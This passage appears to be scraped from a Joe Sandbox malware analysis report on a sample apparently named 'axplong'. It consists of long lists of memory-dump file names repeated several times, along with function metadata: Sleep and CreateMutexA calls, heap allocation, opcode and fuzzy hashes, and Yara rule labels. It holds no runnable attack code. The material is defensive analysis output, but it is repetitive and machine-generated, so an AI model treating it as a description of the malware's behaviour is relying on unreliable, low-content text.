Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 0f84835dbd24d975dcaeb92529cd00a56511b88c4d856d9fcd81467afcfcb0ee
Instruction ID: 69cd2948171c1ecb9e30435100af56ce9367513a3228f5fae7c461417ce52642
Opcode Fuzzy Hash: 0f84835dbd24d975dcaeb92529cd00a56511b88c4d856d9fcd81467afcfcb0ee
Instruction Fuzzy Hash: A2313531B001009BFF08ABBCDD847BDB6EBDB86314F248A18E115DBBD5C775998187A2

Function 00699A0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 3ca3862f590b2ac903bf54a61b881aa658dad6879eca2e120a0bba8c7c3db177
Instruction ID: 42183fe2d955424af34889cfe948b7c1c86e720f820b7dcbccc3c1e45b90c9dc
Opcode Fuzzy Hash: 3ca3862f590b2ac903bf54a61b881aa658dad6879eca2e120a0bba8c7c3db177
Instruction Fuzzy Hash: 2E2175317002009BFB08AB6CED8577CB2ABEB82310F20462DE514CBBC4C7B199818662

Function 0069A27F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: c2bb00e63c54313dc909a31a87728f7b70c9ce7b3b8723b941392d66b9e4589f
Instruction ID: 93b22bbbe16a1291983e56183765eafe5a3620989c11a617e6a19d9c58e415cc
Opcode Fuzzy Hash: c2bb00e63c54313dc909a31a87728f7b70c9ce7b3b8723b941392d66b9e4589f
Instruction Fuzzy Hash: 62216A317102009BFF08ABACDE8577CF6A7DB86315F24062DE504DBBC4C7B69A818792

Function 0069A786 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 838883bd10986998b95dab1c661bf5a3da4406006ddae80fc85305c448d03b84
Instruction ID: 40daae5edc168e3b59935b9fe7048410a96e00dc388be6b7b85becb99e4c8571
Opcode Fuzzy Hash: 838883bd10986998b95dab1c661bf5a3da4406006ddae80fc85305c448d03b84
Instruction Fuzzy Hash: 4C212B303582005AFF256BE8998677CA2EB9F83700F20492AE105DBFC1CAB5994182E7

Function 006CD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006CA6D3,00000001,00000364,00000006,000000FF,?,006CECFF,?,00000004,00000000,?,?), ref: 006CD730

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e3586998b7a3888bd703c1930989b39ea5e522651418f73b24dfad12a8961bb7
Instruction ID: b59aabdfd4a627095c834ca513aa9b55933a203d5b1350604f9b7f28ad4fa74e
Opcode Fuzzy Hash: e3586998b7a3888bd703c1930989b39ea5e522651418f73b24dfad12a8961bb7
Instruction Fuzzy Hash: 4AF0E931645124669B213A259C05FBB379BDF817B0B18813DBC04AB281CE31EC0146F5

Non-executed Functions

Function 006CC9B0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006CCA37

Strings

5ul, xrefs: 006CC9B2

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: 5ul
API String ID: 3213747228-3417136809
Opcode ID: 4ac202cf43d41ffe8c944508c0ae86c9a1ebd8a60de72e44321f7679f8dba429
Instruction ID: 5fcefd96418873e9834d563c970ae9a612a75e12d091f72955c26ac8fd3fec7c
Opcode Fuzzy Hash: 4ac202cf43d41ffe8c944508c0ae86c9a1ebd8a60de72e44321f7679f8dba429
